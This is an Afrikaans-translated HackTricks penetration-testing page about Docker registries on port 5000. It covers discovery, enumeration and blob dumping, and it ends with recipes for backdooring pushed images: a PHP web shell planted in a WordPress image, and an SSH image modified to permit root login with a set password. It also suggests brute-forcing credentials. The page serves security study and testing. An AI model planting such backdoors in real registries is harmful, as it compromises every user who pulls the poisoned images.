5000 - Pentesting Docker Registry

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

'n Berging- en verspreidingsisteem bekend as 'n Docker-register is in plek vir Docker-beelde wat benoem is en in verskillende weergawes kan voorkom, onderskei deur etikette. Hierdie beelde is georganiseer binne Docker-opgaarplekke in die register, elke opgaarplek stoor verskillende weergawes van 'n spesifieke beeld. Die funksionaliteit wat verskaf word, maak dit moontlik om beelde lokaal af te laai of na die register te laai, mits die gebruiker die nodige toestemmings het.

DockerHub dien as die verstek openbare register vir Docker, maar gebruikers het ook die opsie om 'n plaaslike weergawe van die oopbron Docker-register/verspreiding te bedryf of te kies vir die kommersieel ondersteunde Docker Trusted Registry. Daarbenewens kan verskeie ander openbare registerplekke aanlyn gevind word.

Om 'n beeld van 'n plaaslike register af te laai, word die volgende opdrag gebruik:

docker pull my-registry:9000/foo/bar:2.1

Hierdie bevel haal die foo/bar beeld weergawe 2.1 van die aan-premises register by die my-registry domein op poort 9000. Om dieselfde beeld van DockerHub af te laai, veral as 2.1 die nuutste weergawe is, vereenvoudig die bevel na:

docker pull foo/bar

Verstekpoort: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Ontdekking

Die maklikste manier om hierdie diens te ontdek wat loop, is om dit op die uitset van nmap te kry. Hoe dan ook, let daarop dat dit 'n HTTP-gebaseerde diens kan wees wat agter HTTP-proksi's is en nmap sal dit nie opspoor nie. Sommige vingerafdrukke:

  • As jy / toegang gee, word niks in die respons teruggegee nie

  • As jy /v2/ toegang gee, word {} teruggegee

  • As jy /v2/_catalog toegang gee, kan jy kry:

  • {"repositories":["alpine","ubuntu"]}

  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Opname

HTTP/HTTPS

Docker-register kan gekonfigureer word om HTTP of HTTPS te gebruik. Die eerste ding wat jy moet doen, is dus uitvind watter een gekonfigureer word:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Verifikasie

Docker-register kan ook ingestel word om verifikasie te vereis:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

As die Docker Register verifikasie vereis, kan jy probeer om dit te kragtig deur dit te brute force. As jy geldige geloofsbriewe vind, sal jy dit moet gebruik om die register op te som, in curl kan jy dit so gebruik:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumerasie met behulp van DockerRegistryGrabber

DockerRegistryGrabber is 'n Python-hulpmiddel om 'n Docker-registreering te enumereer / dump (sonder of met basiese outentifikasie).

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888


python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumerasie met behulp van curl

Sodra jy toegang tot die Docker-register verkry het, is hier 'n paar opdragte wat jy kan gebruik om dit te enumereer:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

Let daarop dat wanneer jy die blobs lêers aflaai en dekomprimeer, sal lêers en vouers in die huidige gids verskyn. As jy al die blobs aflaai en hulle in dieselfde vouer dekomprimeer, sal waardes van vorige gedekomprimeerde blobs oorskryf word, so wees versigtig. Dit mag interessant wees om elke blob binne 'n ander vouer te dekomprimeer om die presiese inhoud van elke blob te ondersoek.

Enumerasie met behulp van Docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Backdooring WordPress-beeld

In die scenario waar jy 'n Docker Registry gevind het wat 'n WordPress-beeld stoor, kan jy dit agterdeur gee. Skep die agterdeur:

shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

Skep 'n Dockerfile:

Dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

Skep die nuwe prent, kontroleer of dit geskep is, en stoot dit:

docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

Agterdeur SSH-bedienerbeeld

Stel dat jy 'n Docker Registry met 'n SSH-beeld gevind het en jy wil dit agterdeur. Laai die beeld af en voer dit uit:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Haal die sshd_config lêer uit die SSH prent:

docker cp 4c989242c714:/etc/ssh/sshd_config .

En wysig dit om PermitRootLogin yes in te stel.

Skep 'n Dockerfile soos die volgende:

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

Skep die nuwe prent, kontroleer of dit geskep is, en stoot dit:

docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated